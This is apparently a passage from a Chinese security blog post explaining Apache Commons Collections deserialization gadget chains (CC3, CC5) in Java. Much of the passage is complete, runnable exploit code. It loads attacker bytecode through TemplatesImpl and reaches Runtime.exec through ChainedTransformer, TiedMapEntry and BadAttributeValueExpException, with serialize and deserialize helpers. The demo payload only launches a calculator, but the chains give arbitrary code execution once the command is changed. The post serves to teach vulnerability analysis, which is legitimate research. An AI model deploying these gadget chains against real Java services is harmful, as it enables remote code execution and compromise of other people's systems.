    //因此我们构造的时候只需要直接new 一个就可以了
    Field tfactory = aClass.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    //=================end ===============================

    /**
     *  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
     *                     _transletIndex = i;
     *                 }
     *    在恶意类中,恶意类需要继承
     *    private static String ABSTRACT_TRANSLET
     *         = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
     */

    //构造_name的值不为null
    Field name = aClass.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"test");

    Method defineTransletClasses = aClass.getDeclaredMethod("getTransletInstance");
    defineTransletClasses.setAccessible(true);
    defineTransletClasses.invoke(templates,null); //弹窗
}


但是到这里还没结束,还需要继续往下找。


TemplateImpl

还是在TemplateImpl中,并且这个方法是public,因此可以利用


public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

        //保证执行getTransletInstance()就可以了。
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }


利用代码


templates.newTransformer(); //弹窗


下面就CC链的利用了

完整链代码


package com.haozai.serialTest.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

/**
 * @author jackliu  Email:
 * @description: CC3的链
 * @Version
 * @create 2023-08-07 16:16
 */
public class CC3_1 {

    public static void main(String[] args) throws Exception {

        //加载恶意class文件
        String EvalPath="G:\\FlFile\\Test.class";

        File file = new File(EvalPath);

        FileInputStream fis = new FileInputStream(file);
        byte[] b = new byte[(int) (file.length())];
        fis.read(b, 0, (int) (file.length()));
        byte [][] codes  = new byte[][]{b};


        //TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();

        //执行defineTransletClasses,通过反射的方式
        Class<? extends TemplatesImpl> aClass1 = templates.getClass();
        //为_bytecodes属性赋值class文件的byte数组
        // private byte[][] _bytecodes = null;
        Field bytecodes = aClass1.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        //======================= start==========================
        //为了解决401行空指针异常需要为_tfactory赋值
        //_tfactory是不可序列化的,但是在readObject中
        //_tfactory = new TransformerFactoryImpl();
        //因此我们构造的时候只需要直接new 一个就可以了
        Field tfactory = aClass1.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //=================end ===============================

        /**
         *  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
         *                     _transletIndex = i;
         *                 }
         *    在恶意类中,恶意类需要继承
         *    private static String ABSTRACT_TRANSLET
         *         = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
         */

        //构造_name的值不为null
        Field name = aClass1.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");

//        Method defineTransletClasses = aClass.getDeclaredMethod("getTransletInstance");
//        defineTransletClasses.setAccessible(true);
//        defineTransletClasses.invoke(templates,null);

//        templates.newTransformer(); //弹窗
        //下面是CC链的利用过程了,这里我们使用最简单的CC6
        /**
         * 理下思路,我们需要调用TemplatesImpl类的newTransformer方法
         */
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer",
                null,
               null);
//        newTransformer.transform(templates); //弹窗
        //初始化
        DefaultedMap defaultedMap = new DefaultedMap(null);

        //反射的方式注入value的值
        Class<? extends DefaultedMap> aClass = defaultedMap.getClass();
        Field value = aClass.getDeclaredField("value");
        value.setAccessible(true);
        value.set(defaultedMap,newTransformer);

        //调用get
//        defaultedMap.get(runtime); //成功弹出计算器

        //我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), templates);
//        tiedMapEntry.hashCode();

        HashMap hashMap = new HashMap();
        //这一步就会弹计算器,因为put的时候也会对key进行计算hashCode
        hashMap.put(tiedMapEntry,"za1za1");
        //为了解决这个问题,我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组
        //put结束后在利用反射修改回来
        Class<? extends TiedMapEntry> aClass2 = tiedMapEntry.getClass();
        Field map = aClass2.getDeclaredField("map");
        map.setAccessible(true);
        map.set(tiedMapEntry,defaultedMap);

        //hashMap.hashCode(); //弹出计算器,说明没问题

        //序列化和反序列化
//        serialObj(hashMap);
        unSerialObj();

    }
    //序列化
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return  o;
    }
}


CC4链

略,本质和CC3一样,只是后面的链不同,详情文末见图CC链汇总。


CC5链


前面和CC6一样

到defaultedMap(lazyMap)后面使用的是TiedMapEntry的toString方法。


TiedMapEntry

public toString toString() {
    return getKey() + "=" + getValue();
}
//============================================================
public Object getValue() {
    return map.get(key);
}
//============================================================
public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

BadAttributeValueExpException

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。


ObjectInputStream.GetField gf = ois.readFields();
:
这行代码通过ObjectInputStream对象ois的readFields()方法创建了一个ObjectInputStream.GetField对象gf。
ObjectInputStream.GetField是一个内部类,用于获取反序列化对象的字段值,但不直接返回字段值,而是提供一种访问字段值的方式。

Object valObj = gf.get("val", null);
这行代码使用刚才创建的
ObjectInputStream.GetField对象gf的get()方法获取指定字段名的字段值。
第一个参数是字段名,这里是"val"。
第二个参数是默认值,如果字段不存在,则返回默认值。这里设置为null

完整链代码

package com.haozai.serialTest.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

/**
 * @author jackliu  Email:
 * @description: CC5链
 * @Version
 * @create 2023-08-07 20:32
 */
public class CC5 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //初始化
        DefaultedMap defaultedMap = new DefaultedMap(null);

        //反射的方式注入value的值
        Class<? extends DefaultedMap> aClass = defaultedMap.getClass();
        Field value = aClass.getDeclaredField("value");
        value.setAccessible(true);
        value.set(defaultedMap,chainedTransformer);

        //调用get
//        defaultedMap.get(1); //成功弹出计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, "无所谓是什么");
//        tiedMapEntry.toString(); //弹窗

        //因为再构造方法中也调用了toString方法,因此我我们暂且把参数设置为null,等有了对象再反射赋值。
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        Class<? extends BadAttributeValueExpException> aClass1 = badAttributeValueExpException.getClass();
        Field val = aClass1.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

//        serialObj(badAttributeValueExpException);
        unSerialObj();
    }
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));

        Object o = objectInputStream.readObject();
        //先readObject
        ObjectInputStream.GetField gf = objectInputStream.readFields();
        System.out.println(gf);
        return  o;
    }
}


总结:

CC链汇总


1691416374_64d0f736db7313f0f5d38.png!small?1691416375395


任意命令执行主要类的关系

其中密最密集的虚线是查找的下一个利用类,不是继承、实现关系。其他的是继承实现关系,虚线是实现接口,空心箭头实线是继承关系。



1691416384_64d0f7403d89e7da662fc.png!small?1691416385479

任意代码执行的主要类关系图

1691416400_64d0f75021d13707f9a6c.png!small?1691416400549






# web安全 # java反序列化 # Java代码审计 # Java反序列化漏洞分析 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 小菜鸡xiaocaiji 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小菜鸡xiaocaiji LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 1 关注者
fastjson反序列化漏洞总结
2023-08-16
文章目录